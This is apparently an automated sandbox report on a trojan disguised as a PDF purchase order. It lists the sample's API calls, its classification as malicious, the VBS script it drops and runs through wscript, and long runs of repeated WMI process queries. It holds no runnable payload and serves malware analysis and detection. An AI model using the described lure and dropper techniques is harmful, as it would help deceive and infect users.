Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CD82D0 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

1_2_00CD82D0

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CA2B40	1_2_00CA2B40
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CF30AD	1_2_00CF30AD
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CA3680	1_2_00CA3680
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00C9DCD0	1_2_00C9DCD0
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00C9A0C0	1_2_00C9A0C0
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CB0183	1_2_00CB0183
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CD220C	1_2_00CD220C
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00C98530	1_2_00C98530
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00C96670	1_2_00C96670
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CB0677	1_2_00CB0677
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CC8779	1_2_00CC8779
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFA8DC	1_2_00CFA8DC
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CB0A8F	1_2_00CB0A8F
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00C96BBC	1_2_00C96BBC
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CBAC83	1_2_00CBAC83
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00C98CA0	1_2_00C98CA0
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CAAD5C	1_2_00CAAD5C
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CB0EC4	1_2_00CB0EC4
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CC4EBF	1_2_00CC4EBF
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CC113E	1_2_00CC113E
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CB12F9	1_2_00CB12F9
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CC542F	1_2_00CC542F
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CFF5D0	1_2_00CFF5D0
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CC599F	1_2_00CC599F
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CBDA74	1_2_00CBDA74
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00C9BDF0	1_2_00C9BDF0
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CBBDF6	1_2_00CBBDF6
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00C95D32	1_2_00C95D32
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CB1E5A	1_2_00CB1E5A
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CC7FFD	1_2_00CC7FFD
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CDBFB8	1_2_00CDBFB8
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CBDF69	1_2_00CBDF69

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: String function: 00CB7750 appears 42 times
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: String function: 00CAF885 appears 68 times

Source: Purchase Order Supplies.Pdf.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/2@0/1

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CDD712 GetLastError,FormatMessageW,

1_2_00CDD712

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CCB8B0 AdjustTokenPrivileges,CloseHandle,		1_2_00CCB8B0
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CCBEC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		1_2_00CCBEC3

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CDEA85 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

1_2_00CDEA85

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CD6F5B CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

1_2_00CD6F5B

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CEC604 CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

1_2_00CEC604

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00C931F2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

1_2_00C931F2

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

File created: C:\Users\user\AppData\Roaming\Windata

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

File created: C:\Users\user\AppData\Local\Temp\KKRBIX.vbs

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs

Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
